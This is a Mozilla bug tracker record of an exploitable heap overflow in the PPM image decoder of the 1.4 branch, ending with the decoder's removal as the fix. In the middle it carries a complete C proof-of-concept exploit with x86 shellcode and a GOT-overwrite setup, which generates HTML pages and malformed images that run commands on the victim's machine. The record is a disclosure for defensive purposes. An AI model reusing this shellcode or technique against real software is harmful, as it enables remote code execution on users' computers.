Closed Bug 220721 Opened 21 years ago Closed 21 years ago

exploitable heap corruption via PPM module

Categories

(Core :: Graphics: ImageLib, defect)

1.4 Branch
x86
Linux
defect
Not set
critical

Tracking

()

VERIFIED FIXED

People

(Reporter: dveditz, Assigned: jdunn)

Details

(Keywords: fixed1.4.2, Whiteboard: [sg:fix])

From our pal zen-parse:

Issue details:
Example file that crashes Netscape.

===BEGIN===
P1 
0 100
111111111111111111111111111
====END====

(This is an 'image/x-portable-bitmap' type file).



modules/libpr0n/decoders/ppm/nsPPMDecoder.cpp:

      mImage->Init(mWidth, mHeight, mObserver);
      if (mObserver)
        mObserver->OnStartContainer(nsnull, mImage);
      mFrame->Init(0, 0, mWidth, mHeight,
GfxIFormats::RGB, 24);


No check is made that the Init()s succeeded.


Adding a
        NS_ENSURE_SUCCESS(rv, rv);
after each would help.


NS_METHOD nsPPMDecoder::checkSendRow()

This function checks

mRowDataFill == mBytesPerRow

as the condition for end of row AFTER incrementing
mRowDataFill.

In this case, mBytesPerRow is 0 while mRowDataFill
is 1. The condition isn't met, so there is an
overflow.

Using this it is possible to manipulate the malloc
structure for mRowData, and other data on the heap. 

A carefully contructed website or email could
potentially exploit this problem to execute
commands with the local user's permissions.

I have successfully inserted controlled values
into registers used in heap manipulation functions.
Follow-up from zen-parse with exploit details on Linux, he thinks windows is
vulnerable as well. Can someone test this on Linux?

Issue details:
Code creates ~/.mashrc

make peppermint; ./peppermint return_address [GOT
of PR_Free]

eg:
./peppermint 0x44524f42
./peppermint 0xdeadbeef 0xc0cac01a

generates multiple files:

cute.html - Shellcode loader which refreshes to
cuter.html
cuter.html - HTML document holding cute.ppm
cute.ppm - the malformed image
ugly.ppm - the shellcode. 

These files can be zipped down to about 100k, and
then referenced by a jar: url to exploit.


====BEGIN====

/*
 * Proof of concept exploit code for PPM handler vuln.
 * zen-parse Mon 29 September 2003 10.23am NZST
 * peppermint.c
 */

#include <stdio.h>

/* address of free in libnspr4.so on RH8.0        */
/* 1st == ./netscape -g -d ldd |grep nspr4        */
/* 2nd == objdump -R libnspr4.so |grep PR_Free    */
/* 3rd == -12 which is a fixed offset             */

#define GOT 0x40096000 + 0x00031e04 - 12


char sc[]=
"\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90"
"\x90\x58\x8b\x18\x85\xdb\x75\x02\xeb\xfe\x31\xdb\x89\x18\xbc\xe0"
"\xff\xff\xbf\x89\xe6\xbb\x01\x48\x4f\x4d\x4b\x4e\x8b\x0e\x39\xcb"
"\x75\xf9\xbb\x4f\x4d\x45\x3d\x46\x46\x8b\x0e\x39\xcb\x74\x04\x4e"
"\x4e\xeb\xe2\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x46"
"\x46\x46\x46\x89\xf7\x46\x8b\x0e\x84\xc9\x75\xf9\xc7\x06\x2f\x2e"
"\x6d\x61\x46\x46\x46\x46\xc7\x06\x73\x68\x72\x63\x46\x46\x46\x46"
"\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x31\xc0\x31\xc9"
"\x31\xd2\x89\xfb\x04\x0a\xcd\x80\x31\xc0\x04\x05\x80\xc1\x41\x66"
"\x81\xc2\xb0\x01\xcd\x80\x89\xc6\x40\x85\xc0\x74\x17\xeb\x1a\x59"
"\x89\xf3\x31\xd2\xb2\x50\x31\xc0\x04\x04\xcd\x80\x89\xf3\x31\xc0"
"\x04\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe1\xff\xff\xff\x23\x73"
"\x6f\x6d\x65\x20\x72\x61\x6e\x64\x6f\x6d\x20\x63\x6f\x6d\x6d\x61"
"\x6e\x64\x73\x0a\x74\x6f\x75\x63\x68\x20\x2f\x76\x61\x72\x2f\x74"
"\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x60\x77\x68\x6f\x61\x6d\x69"
"\x60\x0a\x65\x78\x69\x74\x0a\x7a\x65\x6e\x2d\x70\x61\x72\x73\x65"
"\x20\x6f\x77\x6e\x65\x64\x20\x79\x6f\x75\x2e\x2e\x2e\x0a";

char buf[40960];
char ubuf[40960];

main(int argc, char *argv[])
{
 FILE *p;
 union
 {
  int i;
  char c[4];
 } r,g;
 int c,d;

 if(argc<2)exit(1);
 r.i=strtoul(argv[1],0,0);
 g.i=(argc!=3)?GOT: strtoul(argv[2],0,0)-12;

 unlink("cute.ppm");
 p=fopen("cute.ppm","w");
 if(!p)exit(1);
 fprintf(p,"P3 0 100 255\n");
 fprintf(p,"0 0 0 0\n0 0 0 0\n0 0 0 0\n0 0 0 0\n");
 fprintf(p,"%hhu %hhu %hhu
%hhu\n",g.c[0],g.c[1],g.c[2],g.c[3]);
 fprintf(p,"%hhu %hhu %hhu
%hhu\n",r.c[0],r.c[1],r.c[2],r.c[3]);
 fclose(p);
 unlink("cute.html");
 p=fopen("cute.html","w");
 if(!p)exit(1);
 fprintf(p,"<html>\n");
 fprintf(p,"<head>\n");
 fprintf(p,"<meta HTTP-EQUIV=\"Refresh\"
content=\"4; URL=cuter.html\">\n");
 fprintf(p,"<title>Proof of concept for PPM
bug</title>\n");
 for(c=0;c<3000-strlen(sc) - 0x40;c+=2)
 {
  buf[c+0]=0xeb;
  buf[c+1]=0x40;
 }
 fprintf(p,"</head>\n");
 fprintf(p,"<body>");
 fprintf(p,"<img src=ugly.ppm>");
 fprintf(p,"</body></html>");
 fclose(p);
 for(;c<3000-strlen(sc);c++) buf[c]=0x40;
 strcat(buf,sc);

 unlink("ugly.ppm");
 p=fopen("ugly.ppm","w");
 if(!p)exit(1);
 fprintf(p,"P6 2000 8192 255\n");
 for(c=0;c<8192*2;c++)
 {
  fprintf(p,"%s",buf);
 }

 fclose(p);

 unlink("cuter.html");
 p=fopen("cuter.html","w");
 if(!p)exit(1);

 fprintf(p,"<html>\n");
 fprintf(p,"<head>\n");
 fprintf(p,"<title>Proof of concept for PPM bug :
boom</title>\n");
 fprintf(p,"</head>\n");
 fprintf(p,"<body>");
 for(c=0;c<100;c++)
 {
  fprintf(p,"<img src=cute.ppm>");
 }
 fprintf(p,"</body></html>");
}

=====END=====
Flags: blocking1.5+
Flags: blocking1.4.2+
Updating version to 1.4 branch -- PPM was removed from the trunk early in 1.5
Flags: blocking1.5+
Version: Trunk → 1.4 Branch
personally, I'd fix this by removing the PPM decoder from the 1.4 branch as
well. it's not exactly used much.
OK, I'm going to remove ppm from the 1.4.2 branch. Any objections?
PPM removed from the branch.
Status: NEW → RESOLVED
Closed: 21 years ago
Resolution: --- → FIXED
Keywords: fixed1.4.2
verified... PPM module no longer available to be corrupted
Status: RESOLVED → VERIFIED
Whiteboard: [sg:fix]
Removing security-sensitive flag for bugs on the known-vulnerabilities list
Group: security
You need to log in before you can comment on or make changes to this bug.